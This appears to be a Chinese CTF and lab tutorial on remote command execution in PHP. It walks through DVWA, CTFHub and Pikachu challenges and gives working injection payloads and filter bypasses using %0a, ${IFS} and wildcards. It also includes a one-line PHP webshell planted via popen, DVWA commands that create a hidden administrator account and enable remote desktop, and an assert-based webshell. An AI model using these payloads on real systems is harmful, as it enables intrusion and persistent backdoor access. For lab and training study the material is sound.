看这个标题就知道今天的内容不简单!!!! 那么就来讲一下我们的RCE吧
目录
编辑
1. &? |? ||? &&?
2.PHP命令执行函数&& ''||""
1."" "
2.exec
2.System
3.passthru
4.Backquote反引号
5.Popen
3.DVWA ---> RCE
编辑
4.CTFHUB -----> RCE
1.RCE ---> eval!!!!
编辑
2.RCE -->简单注入
3.过滤我cat????
4.涨芝士力!!!
5.不给我用/ \ ?? 有用吗???
6.不能用 | & ??笑死!!
7.这套组合拳可不简单!!!
5.Pikachu靶场!!
1.Exec ping
编辑
2.Exec eval
补充!!!
1. &? |? ||? &&?
在开始讲rce之前,需要先去了解一些知识!!! 当我们平常在cmd里面直接:
ping www.baidu.com
基本上都是收到这样的一个回显
但是如果我们是这样呢???
ping www.baidu.com | whoami
你就会发现很神奇的东西出现了,前面的东西没被解析,反而后面的代码执行了!!!
所以这里就要开始普及知识了!!!
似乎有点难理解,我用实际的例子来演示一下!!!
对于| 这个很好理解,不多说(但是要区别windows和Linux)如果是;Linux的话,前面如果执行失败,像ping不成功的话,会一直执行下去!!!
对于|| :前面为真的话就执行前面,前面为假的话就执行后面
&:后面的语句一定会执行,前面的语句真或者假都无所谓
&& :必须全部都要是真的才有效!!!
2.PHP命令执行函数&& ''||""
1."" "
先来讲 "" '' 这两个的区别 ,其实一张图就可以弄清楚他们的区别
从上面的图片就可以看出来, "" 会对所包裹的东西解析,而 '' 则不会!!
2.exec
这个函数的执行结果是返回是一个数组
<?phpexec("chcp 65001 && ipconfig",$b);
var_dump ($b);
?>
TIPS:建议用var_dump 或者print_r 来输出结果,如果你用echo或者print的话,就会出现以下结果
2.System
该函数会把执行结果输出,并把输出结果的作为字符串返回。(不用echo)
<?php
system("chcp 65001 && ipconfig");
?>
3.passthru
执行外部程序并且显示原始输出!
<?php
passthru("chcp 65001 && ipconfig");
?>
4.Backquote反引号
是不是很奇怪,反引号也能执行命令??? 哈~ 其实反引号就是shell_exec()函数的变体!!!!
但是要echo出来 ,,哈哈你应该猜到了他是以字符串的形式返回的了吧@_!
<?php
echo `chcp 65001 & ipconfig`;
?>
5.Popen
函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了 如下!!
<?php popen('whoami >>D:/2.txt','r'); ?>
以下的方式就是通过只读的方式将“whoami”写进d盘下的2.txt的文件!!!,同理
我们也可以写一句话木马!!!
<?php popen('echo "<?php @eval($_POST["cmd"]);?>" >>D:\phpstudy_pro\WWW\2.php','r'); ?>
虽然生成的文件里面会带有两个 ""
但是蚁剑是可以连接的上的!!!!
3.DVWA ---> RCE
这种就直接用管道符号拼接就可以了!!!!
但是如果单单只是查看whoami的话,怎么能体现出RCE的危害呢??? 那肯定还得这样!!
那其实也很简单,只需要简单的以下步骤就可以!!!!
1| net user hack 123 /add
1 | net localgroup administrators hack /add
1 | net user hack /active:yes
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
可以看见是成功创建,并且是管理员账号
由于Windows的家庭版是不能开启3389的端口的,所以上面开启3389端口的命令只适用于其他的版本,而且家庭版是不支持远程连接的!!!!!
4.CTFHUB -----> RCE
1.RCE ---> eval!!!!
首先是它的题目都在疯狂的暗示你要eval!!!所以!!
先去试一下命令执行!~!!!
?cmd=phpinfo();
可以看见是能成功回显!!! 而且!!!! 他还是一个Linux的操作系统
所以我们就可以开始操作了!!
?cmd=system("cat /etc/passwd");
这时候有人就想问了,为什么你上面都是直接跟的一个命令 而后面就要用到system去执行!!
那是因为cat ifconfig这些不是php的函数,而需要system去执行操作系统的命令!!!
但是似乎flag并不在这里???
那就只能去看一下别的地方了!!!
?cmd=system("ls /");
终于能看见flag这个字眼了!!!!
cd一下进去???发现啥也没有,说明,这不是一个目录!!!而是一个文件!!!
那就直接!!!
?cmd=system("cat /flag_12620");
成功拿到flag!!!
ctfhub{fa0ecc5623fdb91c191c715f}
2.RCE -->简单注入
话不多说,直接ls
1 | ls
可以看见 有这样的一个文件 7982308928311.php cat一下??
???咋啥都没得??? 难道是权限的问题???
127.0.0.1 && chmod 777 7982308928311.php && cat 7982308928311.php
还是不行??? 当我准备放弃的时候,我想它是不是隐藏了??? F12看看??
好家伙,还真是 !!! 于是就能成功拿到flag!!
ctfhub{fce7ee565332816beeaca8ee}
3.过滤我cat????
很明显的源代码也告诉了我们
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>
它就是直接将cat 替换成了空 ,那很简单了,毕竟Linux又不是只有一个cat去查看文件
1 | tail flag_56421672928511.php
还是阴间的藏flag!!!
不过还是能拿到
ctfhub{dbf23b8a7f2a42423bbc5258}
4.涨芝士力!!!
我们一进去就能看见这样的代码
很明显,正则匹配了我们的空格符号,所以首先我们要用以下的操作
- 要用Linux的命令(为什么?ping -c是Linux -n是Windows这个大家还是知道的吧)
- 不能使用空格!!!
- + /**/ 这些占位符号是没有用的,毕竟这不是sql注入!!!不信来看!!
可以看见是并没有解析成功的!!!!
所以就要给出一条这样的命令
1.1.1.1&&cat<flag_1854125836888.php
其中:
< 这是一个重定向符号,用于将一个文件的内容输入到命令中 !!这样就完美的解决了没有空格的问题
成功拿到flag
ctfhub{6a8de490cdfa3ccaf370306d}
5.不给我用/ \ ?? 有用吗???
首先看源代码是可以知道它是不给我们去使用 \ /这些字符的!!! 所以我们就要一步一步走!!
1.1.1.1 | ls
可以看见是有一个flag_is_here的目录
这里就补充一个知识:
Linux是不可以直接cd etc 导致从/home/kali ----> /etc的 ,但是!!
从/ cd etc ---> /etc 这样是可以的!!!
所以思路一下子就清晰了!!!
我们只需要执行这样的poc,就可以看一下flag_is_here里面有什么!!
1.1.1.1 & cd flag_is_here &&ls
能看见是有一个 flag_9337221722918.php 的php文件!!!
所以最终的poc就出来了!!!
1.1.1.1 & cd flag_is_here &&cat flag_409218184117.php
就能得到flag了 !!
ctfhub{300e21f040ac4c07c5bbd170}
6.不能用 | & ??笑死!!
可以看见他是正则匹配了所有的 | &
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||\&)/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
所以我们需要不用 | &这些来操作 有没有呢 ?? 有 !! 就是 ;(是不是很像堆叠注入!!😂)
所以poc就出来了!!
1.1.1.1; ls
可以看见一个php的文件!!
1.1.1.1;cat flag_52932709424208.php
成功拿到flag!!!!
ctfhub{3774821406c088853c387de9}
7.这套组合拳可不简单!!!
这一关,感觉咋绝非善类!!!
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
可以看见是直接匹配了 | & ; cat \ flag 可以说是防的很死了!!!
但是!! 道高一张魔高一尺
- 过滤 | ? 那我就%0a (哈哈sql注入是不是也可以)
- 过滤 cat ?那我大把 tac tail less more
- 过滤flag?? 这里可以用到模糊匹配 ?(用于匹配一个字符) *用于匹配多个字符!!
- 过滤我空格 ?? 可以 ${IFS} 在一些旧版本的Linux会被解释为空格 !!
那么,就开搞吧!!!!
2%0als
看到flag_is_here的文件夹!!
继续我们的poc!!!
2%0acd${IFS}fla?_is_here%0als
看见flag的文件了!!!!
最终的poc!!!
2%0acd${IFS}fla?_is_here%0amore${IFS}fla*
成功拿到最后的flag!!!
ctfhub{8c315dfb71bf4a4181a8b155}
5.Pikachu靶场!!
1.Exec ping
这关就是最简单的直接套poc就好!!
顺便来审计一下它的代码!!
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255if(stristr(php_uname('s'), 'windows')){var_dump(php_uname('s'));$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理}else {$result.=shell_exec('ping -c 4 '.$ip);}
}
可以看出来是没有对ip进行任何的过滤,于是造成了RCE!!!!
2.Exec eval
这个也是最简单的一种RCE了吧话不多说,我们直接看源代码!!!!!
话不多说,直接看代码
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){if(@!eval($_POST['txt'])){$html.="<p>你喜欢的字符还挺奇怪的!</p>";}}
可以看见是直接eval的去执行的!!!!!!
那就只要在post包的内部 txt=system(whoami) 这样就能导致代码执行!!!!!
补充!!!
对于命令执行,我们还有一种办法!!!!
<?php ${assert($_POST['cmd'])}; ?>
是的!! 被${}包裹起来的php代码也是会被执行的!!!!!